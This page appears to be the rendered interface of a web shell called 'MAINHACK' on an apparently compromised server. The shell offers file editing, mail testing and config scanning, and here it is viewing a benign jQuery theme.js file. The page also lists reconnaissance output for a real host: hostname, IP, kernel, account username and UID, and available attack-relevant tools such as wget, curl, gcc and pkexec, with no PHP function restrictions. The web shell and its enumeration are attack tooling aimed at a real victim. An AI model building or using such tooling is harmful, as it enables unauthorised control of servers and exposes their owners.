[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: theme.js
(function ($) { "use strict"; sideManu(); function sideManu() { let manuStor = $(".side-bar").html(); $(".side-bar").html("<div class='overlay'></div>" + manuStor); $(".sidebar-opner").on("click ", function () { $(".side-bar, .section-container").toggleClass("active"); }); $(".side-bar .close-btn, .side-bar .overlay").on("click ", function () { $(".side-bar, .section-container").toggleClass("active"); }); $("li>ul").toggleClass("dropdown-menu"); let animationSpeed = 300; let subMenuSelector = ".dropdown-menu"; $(".side-bar-manu > ul").on("click", ".dropdown a", function (e) { let $this = $(this); let checkElement = $this.next(); if ( checkElement.is(subMenuSelector) && checkElement.is(":visible") ) { checkElement.slideUp(animationSpeed, function () { checkElement.removeClass("menu-open"); }); checkElement.parent("li").removeClass("active"); } //If the menu is not visible else if ( checkElement.is(subMenuSelector) && !checkElement.is(":visible") ) { //Get the parent menu let parent = $this.parents("ul").first(); //Close all open menus within the parent let ul = parent.find("ul:visible").slideUp(animationSpeed); //Remove the menu-open class from the parent ul.removeClass("menu-open"); //Get the parent li let parent_li = $this.parent("li"); //Open the target menu and add the menu-open class checkElement.slideDown(animationSpeed, function () { //Add the class active to the parent li checkElement.addClass("menu-open"); parent.find("li.active").removeClass("active"); parent_li.addClass("active"); }); } //if this isn't a link, prevent the page from being redirected if (checkElement.is(subMenuSelector)) { e.preventDefault(); } }); } // photo upload preview function readURL(input) { if (input.files && input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { $(".image-preview").attr("src", e.target.result); $(".image-preview").hide(); $(".image-preview").fadeIn(650); }; reader.readAsDataURL(input.files[0]); } } $("#add-profile").on("change", function () { readURL(this); $(".image-preview-icon").addClass("d-none"); }); $("#feature-btn").on("click", function (e) { e.preventDefault(); let value = $(".add-feature").val(); let featureCount = $(".feature-list").children().length; if (value !== "") { $(".feature-list").append(` <div class="col-lg-6 mt-4 remove-list"> <div class="feature-wrp"> <div class="form-control d-flex justify-content-between align-items-center"> <input name="features[features_${featureCount}][]" required class="border-none" type="text" value="${value}"> <label class="switch m-0"> <input type="checkbox" checked value="1" name="features[features_${featureCount}][]"> <span class="slider round"></span> </label> </div> <button type="button" class="remove-one d-none"><i class="fal fa-times"></i></button> </div> </div> `); $(".add-feature").val(""); } }); })(jQuery); document.addEventListener("DOMContentLoaded", function () { const toggleBtn = document.querySelector(".menu-opener"); const sidebarPlan = document.querySelector(".lg-sub-plan"); const subPlan = document.querySelector(".sub-plan"); toggleBtn.addEventListener("click", function () { if (sidebarPlan.style.display === "none") { sidebarPlan.style.display = "block"; subPlan.style.display = "none"; } else { sidebarPlan.style.display = "none"; subPlan.style.display = "block"; } }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002